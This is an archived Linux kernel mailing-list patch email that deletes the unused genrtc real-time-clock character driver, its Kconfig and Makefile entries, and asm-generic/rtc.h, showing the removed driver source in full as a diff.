From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 16/16] char/genrtc: remove the rest of the driver
Date: Mon, 30 May 2016 20:58:04 +0200
Lines: 678
Approved: news@gmane.org
Message-ID: <1464634684-1248135-17-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634706 4689 80.91.229.3 (30 May 2016 18:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:26 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBP42WK5AKGQEWOG67DA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:09 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBP42WK5AKGQEWOG67DA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-lf0-f59.google.com ([209.85.215.59])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBP42WK5AKGQEWOG67DA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO7-0002xu-U3
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:08 +0200
Original-Received: by mail-lf0-f59.google.com with SMTP id v189sf38325788lfd.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:07 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=MYMjAU4ol6Dqnu76OqzntAx/WIvT9QyM4XwU1ai5H3s=;
        b=EjdGHgsAWueS9zkLMhhVTF8Plr5fzSYjrDv/ctNlGDTERBpdxyqHsTu+hyLFDd17Mk
         9Rnzdc1q5Laj04EfO6qLGDaMpxRNbeSYCGj/de7waWI13nYzxn5ZocHYh29uqTo+vN0L
         7rj+kxggRJX55tlUuFM3TIvZAk8xdmXUOKz75REgCmy6pMXpdbJk73vwQdSonvj0fC2e
         saq/dJ0HQwVlgm018N2OXErOJCIyFIppUJte6P6B5ZkHxJ55wEpwDGQefx+n0ccQq5Ph
         ntTf8PHXYTdIR93SI7aV9u3/ZHhW4ct64rQNKhyIIQI4WC/5rxqbbDXAevHkraBnm041
         IRkA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=MYMjAU4ol6Dqnu76OqzntAx/WIvT9QyM4XwU1ai5H3s=;
        b=VWEI16CEDjKVT/FUywGctAVvxUp0tyH2gXHdwLit37xlOXFeTg0qbmBT+vwNzAiXWH
         H+K37E45dzwENTJHKhlWmf/MIUeCAIJi83pUvNDMi3oLHZYQ5YkDOh9jk1jQl1+HCu5C
         mXsjwnJJXaIzv4pnf3M7Na3Vl2H4gRl/BFncazNlbgsRgPI06HvymrCtvbKuIclAwRvS
         Mofi2fs8zAf6LI/SnO2cItDHp4klFsXodJ26I/qpWj+FsXHxuBctdXoomgtI+UY7flok
         jxU43hK69inrUd5SsxIQjFQ4Nhw5RImzX1Qj2iJAwVA0co/GxcsboDAEiIJGhzbNcOtM
         oaGQ==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tKSy4+QRG++QN+Ws6WNJetrl09NZ1GdW+Pk2KgI7ZE9KpRVhJCJohu1IOMoa2/Ngw==
X-Received: by 10.25.125.214 with SMTP id y205mr233398lfc.8.1464634687269;
        Mon, 30 May 2016 11:58:07 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.25.168.85 with SMTP id r82ls38250lfe.34.gmail; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.25.196.132 with SMTP id u126mr2951068lff.0.1464634686779;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.74])
        by gmr-mx.google.com with ESMTPS id a65si987914wma.3.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.74 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.74;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Mf1KL-1asPR60fVp-00OYSF; Mon, 30 May
 2016 20:58:05 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:x0l6txtXosjETqN+yzz//JAlA2Lm1zP9/DQvRzJpmYtn2XMtBlA
 w0RG/WomyysmncKk1XSaLL0GY5HpOBAf3iL5hjLFJwiX9Xh2Nb6ry63WLVZnL7ph1c9LP+s
 //+Rc8lttVFlkAXhEKtrmBERCz9OuTwl2PFZotG64KqOwAypEr2mNV3ixZt/ZHvPCMTWRa0
 3f8vYdsJ5yOjNEGAFKthA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:PiLhhKXy+ZA=:0y2sHqZY3GY1Y3CoBzsJE7
 XEayRxO9LLJDyYyfNsN4vy/lRSnscpRQ69oHqgF0Xbmr5LW7C717c5h6eMnhMwC08reucvXfg
 aFY//KvFX6me+7qGpF7P3DXcfi8twknEraKXyOa/bA4MqwaCDOfaWZ1WykA9i3V2ROP2Svuzo
 56nH90Hjwwn3ammxVcRjufqRRGkslzghxcEPmSIuO0HYLFlsiDSUflphnRfD7FetJJdQxKNrj
 an5HwelziQ6SyNGkkY5ONPUOe1fsKOXn7gmdFEsRBtnupsWA1krYd5/xDPlqBNN+pFnJ0TEBj
 7sORYx/DFMvKVF8g5+RDIk7YhdftiTQfZ0J7PH/1x1b+mEJwRXNRab2HS1uxVjVtuwn7EcHJI
 bP5ReJbx7SXgropeRUZve4DgFpp+FKpBNcUDly7gfQZsxBH6MwzgvYAoL++5yjv4eTI06lFBa
 B09pq1CAfyDFA2YobNxtbFVNI2l5iI2cpJl1gst0XSznlGIzm6tYxaoTfP5uJukUoE7AL4Feg
 OHTbOPKHASaNhAUHwerLj50bsEeVYhBJO7VU3WbAk3R7oM+LNxM4WXmDBmXNPeruhA2w9RT+w
 C+FMK3X1HiEwq0Mf8UejdwJAgfr04jiwHPYhC5GNUlpCRkYoPBNguJWQicryjLzqp2if18c3i
 YnQsDNVZxW026Q/42X77aEzeUPTawqfHAlLHX7LGK73VkUpW2xwAgMvcUeErBI5CbiwY=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.74 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:43 gmane.linux.ports.alpha:3749 gmane.linux.kernel:2230347 gmane.linux.ports.parisc:26803 gmane.linux.ports.ppc64.devel:127851 gmane.linux.ports.sh.devel:54136 gmane.linux.kernel.cross-arch:32183
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/43>

No architecture uses the genrtc driver any more, so let's kill it off
for good. This now also includes asm-generic/rtc.h, which is otherwise
completely unused.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 drivers/char/Kconfig      |  26 ---
 drivers/char/Makefile     |   1 -
 drivers/char/genrtc.c     | 539 ----------------------------------------------
 include/asm-generic/rtc.h |  51 -----
 4 files changed, 617 deletions(-)
 delete mode 100644 drivers/char/genrtc.c
 delete mode 100644 include/asm-generic/rtc.h

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 153e90f8a445..0ec91cc6c2fb 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -325,32 +325,6 @@ config JS_RTC
 	  To compile this driver as a module, choose M here: the
 	  module will be called js-rtc.
 
-config OLD_GEN_RTC
-	tristate "Generic /dev/rtc emulation"
-	depends on RTC!=y
-	depends on BROKEN
-	---help---
-	  If you say Y here and create a character special file /dev/rtc with
-	  major number 10 and minor number 135 using mknod ("man mknod"), you
-	  will get access to the real time clock (or hardware clock) built
-	  into your computer.
-
-	  It reports status information via the file /proc/driver/rtc and its
-	  behaviour is set by various ioctls on /dev/rtc. If you enable the
-	  "extended RTC operation" below it will also provide an emulation
-	  for RTC_UIE which is required by some programs and may improve
-	  precision in some cases.
-
-	  To compile this driver as a module, choose M here: the
-	  module will be called genrtc.
-
-config GEN_RTC_X
-	bool "Extended RTC operation"
-	depends on GEN_RTC
-	help
-	  Provides an emulation for RTC_UIE which is required by some programs
-	  and may improve precision of the generic RTC support in some cases.
-
 config EFI_RTC
 	bool "EFI Real Time Clock Services"
 	depends on IA64
diff --git a/drivers/char/Makefile b/drivers/char/Makefile
index fc0905aa7373..f33f5e35df9c 100644
--- a/drivers/char/Makefile
+++ b/drivers/char/Makefile
@@ -25,7 +25,6 @@ obj-$(CONFIG_APPLICOM)		+= applicom.o
 obj-$(CONFIG_SONYPI)		+= sonypi.o
 obj-$(CONFIG_RTC)		+= rtc.o
 obj-$(CONFIG_HPET)		+= hpet.o
-obj-$(CONFIG_OLD_GEN_RTC)	+= genrtc.o
 obj-$(CONFIG_EFI_RTC)		+= efirtc.o
 obj-$(CONFIG_DS1302)		+= ds1302.o
 obj-$(CONFIG_XILINX_HWICAP)	+= xilinx_hwicap/
diff --git a/drivers/char/genrtc.c b/drivers/char/genrtc.c
deleted file mode 100644
index 4f943759d376..000000000000
--- a/drivers/char/genrtc.c
+++ /dev/null
@@ -1,539 +0,0 @@
-/*
- *	Real Time Clock interface for
- *		- q40 and other m68k machines,
- *		- HP PARISC machines
- *		- PowerPC machines
- *      emulate some RTC irq capabilities in software
- *
- *      Copyright (C) 1999 Richard Zidlicky
- *
- *	based on Paul Gortmaker's rtc.c device and
- *           Sam Creasey Generic rtc driver
- *
- *	This driver allows use of the real time clock (built into
- *	nearly all computers) from user space. It exports the /dev/rtc
- *	interface supporting various ioctl() and also the /proc/driver/rtc
- *	pseudo-file for status information.
- *
- *	The ioctls can be used to set the interrupt behaviour where
- *	supported.
- *
- *	The /dev/rtc interface will block on reads until an interrupt
- *	has been received. If a RTC interrupt has already happened,
- *	it will output an unsigned long and then block. The output value
- *	contains the interrupt status in the low byte and the number of
- *	interrupts since the last read in the remaining high bytes. The
- *	/dev/rtc interface can also be used with the select(2) call.
- *
- *	This program is free software; you can redistribute it and/or
- *	modify it under the terms of the GNU General Public License
- *	as published by the Free Software Foundation; either version
- *	2 of the License, or (at your option) any later version.
- *
-
- *      1.01 fix for 2.3.X                    rz-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
- *      1.02 merged with code from genrtc.c   rz-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
- *      1.03 make it more portable            zippel-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
- *      1.04 removed useless timer code       rz-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
- *      1.05 portable RTC_UIE emulation       rz-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org
- *      1.06 set_rtc_time can return an error trini-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org
- *      1.07 ported to HP PARISC (hppa)	      Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
- */
-
-#define RTC_VERSION	"1.07"
-
-#include <linux/module.h>
-#include <linux/sched.h>
-#include <linux/errno.h>
-#include <linux/miscdevice.h>
-#include <linux/fcntl.h>
-
-#include <linux/rtc.h>
-#include <linux/init.h>
-#include <linux/poll.h>
-#include <linux/proc_fs.h>
-#include <linux/seq_file.h>
-#include <linux/mutex.h>
-#include <linux/workqueue.h>
-
-#include <asm/uaccess.h>
-#include <asm/rtc.h>
-
-/*
- *	We sponge a minor off of the misc major. No need slurping
- *	up another valuable major dev number for this. If you add
- *	an ioctl, make sure you don't conflict with SPARC's RTC
- *	ioctls.
- */
-
-static DEFINE_MUTEX(gen_rtc_mutex);
-static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
-
-/*
- *	Bits in gen_rtc_status.
- */
-
-#define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
-
-static unsigned char gen_rtc_status;	/* bitmapped status byte.	*/
-static unsigned long gen_rtc_irq_data;	/* our output to the world	*/
-
-/* months start at 0 now */
-static unsigned char days_in_mo[] =
-{31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
-
-static int irq_active;
-
-#ifdef CONFIG_GEN_RTC_X
-static struct work_struct genrtc_task;
-static struct timer_list timer_task;
-
-static unsigned int oldsecs;
-static int lostint;
-static unsigned long tt_exp;
-
-static void gen_rtc_timer(unsigned long data);
-
-static volatile int stask_active;              /* schedule_work */
-static volatile int ttask_active;              /* timer_task */
-static int stop_rtc_timers;                    /* don't requeue tasks */
-static DEFINE_SPINLOCK(gen_rtc_lock);
-
-static void gen_rtc_interrupt(unsigned long arg);
-
-/*
- * Routine to poll RTC seconds field for change as often as possible,
- * after first RTC_UIE use timer to reduce polling
- */
-static void genrtc_troutine(struct work_struct *work)
-{
-	unsigned int tmp = get_rtc_ss();
-	
-	if (stop_rtc_timers) {
-		stask_active = 0;
-		return;
-	}
-
-	if (oldsecs != tmp){
-		oldsecs = tmp;
-
-		timer_task.function = gen_rtc_timer;
-		timer_task.expires = jiffies + HZ - (HZ/10);
-		tt_exp=timer_task.expires;
-		ttask_active=1;
-		stask_active=0;
-		add_timer(&timer_task);
-
-		gen_rtc_interrupt(0);
-	} else if (schedule_work(&genrtc_task) == 0)
-		stask_active = 0;
-}
-
-static void gen_rtc_timer(unsigned long data)
-{
-	lostint = get_rtc_ss() - oldsecs ;
-	if (lostint<0) 
-		lostint = 60 - lostint;
-	if (time_after(jiffies, tt_exp))
-		printk(KERN_INFO "genrtc: timer task delayed by %ld jiffies\n",
-		       jiffies-tt_exp);
-	ttask_active=0;
-	stask_active=1;
-	if ((schedule_work(&genrtc_task) == 0))
-		stask_active = 0;
-}
-
-/* 
- * call gen_rtc_interrupt function to signal an RTC_UIE,
- * arg is unused.
- * Could be invoked either from a real interrupt handler or
- * from some routine that periodically (eg 100HZ) monitors
- * whether RTC_SECS changed
- */
-static void gen_rtc_interrupt(unsigned long arg)
-{
-	/*  We store the status in the low byte and the number of
-	 *	interrupts received since the last read in the remainder
-	 *	of rtc_irq_data.  */
-
-	gen_rtc_irq_data += 0x100;
-	gen_rtc_irq_data &= ~0xff;
-	gen_rtc_irq_data |= RTC_UIE;
-
-	if (lostint){
-		printk("genrtc: system delaying clock ticks?\n");
-		/* increment count so that userspace knows something is wrong */
-		gen_rtc_irq_data += ((lostint-1)<<8);
-		lostint = 0;
-	}
-
-	wake_up_interruptible(&gen_rtc_wait);
-}
-
-/*
- *	Now all the various file operations that we export.
- */
-static ssize_t gen_rtc_read(struct file *file, char __user *buf,
-			size_t count, loff_t *ppos)
-{
-	unsigned long data;
-	ssize_t retval;
-
-	if (count != sizeof (unsigned int) && count != sizeof (unsigned long))
-		return -EINVAL;
-
-	if (file->f_flags & O_NONBLOCK && !gen_rtc_irq_data)
-		return -EAGAIN;
-
-	retval = wait_event_interruptible(gen_rtc_wait,
-			(data = xchg(&gen_rtc_irq_data, 0)));
-	if (retval)
-		goto out;
-
-	/* first test allows optimizer to nuke this case for 32-bit machines */
-	if (sizeof (int) != sizeof (long) && count == sizeof (unsigned int)) {
-		unsigned int uidata = data;
-		retval = put_user(uidata, (unsigned int __user *)buf) ?:
-			sizeof(unsigned int);
-	}
-	else {
-		retval = put_user(data, (unsigned long __user *)buf) ?:
-			sizeof(unsigned long);
-	}
-out:
-	return retval;
-}
-
-static unsigned int gen_rtc_poll(struct file *file,
-				 struct poll_table_struct *wait)
-{
-	poll_wait(file, &gen_rtc_wait, wait);
-	if (gen_rtc_irq_data != 0)
-		return POLLIN | POLLRDNORM;
-	return 0;
-}
-
-#endif
-
-/*
- * Used to disable/enable interrupts, only RTC_UIE supported
- * We also clear out any old irq data after an ioctl() that
- * meddles with the interrupt enable/disable bits.
- */
-
-static inline void gen_clear_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	stop_rtc_timers = 1;
-	if (ttask_active){
-		del_timer_sync(&timer_task);
-		ttask_active = 0;
-	}
-	while (stask_active)
-		schedule();
-
-	spin_lock(&gen_rtc_lock);
-	irq_active = 0;
-	spin_unlock(&gen_rtc_lock);
-#endif
-}
-
-static inline int gen_set_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	spin_lock(&gen_rtc_lock);
-	if ( !irq_active ) {
-		irq_active = 1;
-		stop_rtc_timers = 0;
-		lostint = 0;
-		INIT_WORK(&genrtc_task, genrtc_troutine);
-		oldsecs = get_rtc_ss();
-		init_timer(&timer_task);
-
-		stask_active = 1;
-		if (schedule_work(&genrtc_task) == 0){
-			stask_active = 0;
-		}
-	}
-	spin_unlock(&gen_rtc_lock);
-	gen_rtc_irq_data = 0;
-	return 0;
-#else
-	return -EINVAL;
-#endif
-}
-
-static int gen_rtc_ioctl(struct file *file,
-			 unsigned int cmd, unsigned long arg)
-{
-	struct rtc_time wtime;
-	struct rtc_pll_info pll;
-	void __user *argp = (void __user *)arg;
-
-	switch (cmd) {
-
-	case RTC_PLL_GET:
-	    if (get_rtc_pll(&pll))
-	 	    return -EINVAL;
-	    else
-		    return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
-
-	case RTC_PLL_SET:
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-		if (copy_from_user(&pll, argp, sizeof(pll)))
-			return -EFAULT;
-	    return set_rtc_pll(&pll);
-
-	case RTC_UIE_OFF:	/* disable ints from RTC updates.	*/
-		gen_clear_rtc_irq_bit(RTC_UIE);
-		return 0;
-
-	case RTC_UIE_ON:	/* enable ints for RTC updates.	*/
-	        return gen_set_rtc_irq_bit(RTC_UIE);
-
-	case RTC_RD_TIME:	/* Read the time/date from RTC	*/
-		/* this doesn't get week-day, who cares */
-		memset(&wtime, 0, sizeof(wtime));
-		get_rtc_time(&wtime);
-
-		return copy_to_user(argp, &wtime, sizeof(wtime)) ? -EFAULT : 0;
-
-	case RTC_SET_TIME:	/* Set the RTC */
-	    {
-		int year;
-		unsigned char leap_yr;
-
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-
-		if (copy_from_user(&wtime, argp, sizeof(wtime)))
-			return -EFAULT;
-
-		year = wtime.tm_year + 1900;
-		leap_yr = ((!(year % 4) && (year % 100)) ||
-			   !(year % 400));
-
-		if ((wtime.tm_mon < 0 || wtime.tm_mon > 11) || (wtime.tm_mday < 1))
-			return -EINVAL;
-
-		if (wtime.tm_mday < 0 || wtime.tm_mday >
-		    (days_in_mo[wtime.tm_mon] + ((wtime.tm_mon == 1) && leap_yr)))
-			return -EINVAL;
-
-		if (wtime.tm_hour < 0 || wtime.tm_hour >= 24 ||
-		    wtime.tm_min < 0 || wtime.tm_min >= 60 ||
-		    wtime.tm_sec < 0 || wtime.tm_sec >= 60)
-			return -EINVAL;
-
-		return set_rtc_time(&wtime);
-	    }
-	}
-
-	return -EINVAL;
-}
-
-static long gen_rtc_unlocked_ioctl(struct file *file, unsigned int cmd,
-				   unsigned long arg)
-{
-	int ret;
-
-	mutex_lock(&gen_rtc_mutex);
-	ret = gen_rtc_ioctl(file, cmd, arg);
-	mutex_unlock(&gen_rtc_mutex);
-
-	return ret;
-}
-
-/*
- *	We enforce only one user at a time here with the open/close.
- *	Also clear the previous interrupt data on an open, and clean
- *	up things on a close.
- */
-
-static int gen_rtc_open(struct inode *inode, struct file *file)
-{
-	mutex_lock(&gen_rtc_mutex);
-	if (gen_rtc_status & RTC_IS_OPEN) {
-		mutex_unlock(&gen_rtc_mutex);
-		return -EBUSY;
-	}
-
-	gen_rtc_status |= RTC_IS_OPEN;
-	gen_rtc_irq_data = 0;
-	irq_active = 0;
-	mutex_unlock(&gen_rtc_mutex);
-
-	return 0;
-}
-
-static int gen_rtc_release(struct inode *inode, struct file *file)
-{
-	/*
-	 * Turn off all interrupts once the device is no longer
-	 * in use and clear the data.
-	 */
-
-	gen_clear_rtc_irq_bit(RTC_PIE|RTC_AIE|RTC_UIE);
-
-	gen_rtc_status &= ~RTC_IS_OPEN;
-	return 0;
-}
-
-
-#ifdef CONFIG_PROC_FS
-
-/*
- *	Info exported via "/proc/driver/rtc".
- */
-
-static int gen_rtc_proc_show(struct seq_file *m, void *v)
-{
-	struct rtc_time tm;
-	unsigned int flags;
-	struct rtc_pll_info pll;
-
-	flags = get_rtc_time(&tm);
-
-	seq_printf(m,
-		     "rtc_time\t: %02d:%02d:%02d\n"
-		     "rtc_date\t: %04d-%02d-%02d\n"
-		     "rtc_epoch\t: %04u\n",
-		     tm.tm_hour, tm.tm_min, tm.tm_sec,
-		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
-
-	tm.tm_hour = tm.tm_min = tm.tm_sec = 0;
-
-	seq_puts(m, "alarm\t\t: ");
-	if (tm.tm_hour <= 24)
-		seq_printf(m, "%02d:", tm.tm_hour);
-	else
-		seq_puts(m, "**:");
-
-	if (tm.tm_min <= 59)
-		seq_printf(m, "%02d:", tm.tm_min);
-	else
-		seq_puts(m, "**:");
-
-	if (tm.tm_sec <= 59)
-		seq_printf(m, "%02d\n", tm.tm_sec);
-	else
-		seq_puts(m, "**\n");
-
-	seq_printf(m,
-		     "DST_enable\t: %s\n"
-		     "BCD\t\t: %s\n"
-		     "24hr\t\t: %s\n"
-		     "square_wave\t: %s\n"
-		     "alarm_IRQ\t: %s\n"
-		     "update_IRQ\t: %s\n"
-		     "periodic_IRQ\t: %s\n"
-		     "periodic_freq\t: %ld\n"
-		     "batt_status\t: %s\n",
-		     (flags & RTC_DST_EN) ? "yes" : "no",
-		     (flags & RTC_DM_BINARY) ? "no" : "yes",
-		     (flags & RTC_24H) ? "yes" : "no",
-		     (flags & RTC_SQWE) ? "yes" : "no",
-		     (flags & RTC_AIE) ? "yes" : "no",
-		     irq_active ? "yes" : "no",
-		     (flags & RTC_PIE) ? "yes" : "no",
-		     0L /* freq */,
-		     (flags & RTC_BATT_BAD) ? "bad" : "okay");
-	if (!get_rtc_pll(&pll))
-	    seq_printf(m,
-			 "PLL adjustment\t: %d\n"
-			 "PLL max +ve adjustment\t: %d\n"
-			 "PLL max -ve adjustment\t: %d\n"
-			 "PLL +ve adjustment factor\t: %d\n"
-			 "PLL -ve adjustment factor\t: %d\n"
-			 "PLL frequency\t: %ld\n",
-			 pll.pll_value,
-			 pll.pll_max,
-			 pll.pll_min,
-			 pll.pll_posmult,
-			 pll.pll_negmult,
-			 pll.pll_clock);
-	return 0;
-}
-
-static int gen_rtc_proc_open(struct inode *inode, struct file *file)
-{
-	return single_open(file, gen_rtc_proc_show, NULL);
-}
-
-static const struct file_operations gen_rtc_proc_fops = {
-	.open		= gen_rtc_proc_open,
-	.read		= seq_read,
-	.llseek		= seq_lseek,
-	.release	= single_release,
-};
-
-static int __init gen_rtc_proc_init(void)
-{
-	struct proc_dir_entry *r;
-
-	r = proc_create("driver/rtc", 0, NULL, &gen_rtc_proc_fops);
-	if (!r)
-		return -ENOMEM;
-	return 0;
-}
-#else
-static inline int gen_rtc_proc_init(void) { return 0; }
-#endif /* CONFIG_PROC_FS */
-
-
-/*
- *	The various file operations we support.
- */
-
-static const struct file_operations gen_rtc_fops = {
-	.owner		= THIS_MODULE,
-#ifdef CONFIG_GEN_RTC_X
-	.read		= gen_rtc_read,
-	.poll		= gen_rtc_poll,
-#endif
-	.unlocked_ioctl	= gen_rtc_unlocked_ioctl,
-	.open		= gen_rtc_open,
-	.release	= gen_rtc_release,
-	.llseek		= noop_llseek,
-};
-
-static struct miscdevice rtc_gen_dev =
-{
-	.minor		= RTC_MINOR,
-	.name		= "rtc",
-	.fops		= &gen_rtc_fops,
-};
-
-static int __init rtc_generic_init(void)
-{
-	int retval;
-
-	printk(KERN_INFO "Generic RTC Driver v%s\n", RTC_VERSION);
-
-	retval = misc_register(&rtc_gen_dev);
-	if (retval < 0)
-		return retval;
-
-	retval = gen_rtc_proc_init();
-	if (retval) {
-		misc_deregister(&rtc_gen_dev);
-		return retval;
-	}
-
-	return 0;
-}
-
-static void __exit rtc_generic_exit(void)
-{
-	remove_proc_entry ("driver/rtc", NULL);
-	misc_deregister(&rtc_gen_dev);
-}
-
-
-module_init(rtc_generic_init);
-module_exit(rtc_generic_exit);
-
-MODULE_AUTHOR("Richard Zidlicky");
-MODULE_LICENSE("GPL");
-MODULE_ALIAS_MISCDEV(RTC_MINOR);
diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
deleted file mode 100644
index 4fcff22cd707..000000000000
--- a/include/asm-generic/rtc.h
+++ /dev/null
@@ -1,51 +0,0 @@
-/* 
- * include/asm-generic/rtc.h
- *
- * Author: Tom Rini <trini-Igf4POYTYCDQT0dZR+AlfA@public.gmane.org>
- *
- * Based on:
- * drivers/char/rtc.c
- *
- * Please read the COPYING file for all license details.
- */
-
-#ifndef __ASM_RTC_H__
-#define __ASM_RTC_H__
-
-#include <linux/rtc.h>
-
-#ifndef get_rtc_time
-#include <linux/mc146818rtc.h>
-#define get_rtc_time mc146818_get_time
-#define set_rtc_time mc146818_set_time
-#endif
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-/* some dummy definitions */
-#define RTC_BATT_BAD 0x100	/* battery bad */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-static inline unsigned int get_rtc_ss(void)
-{
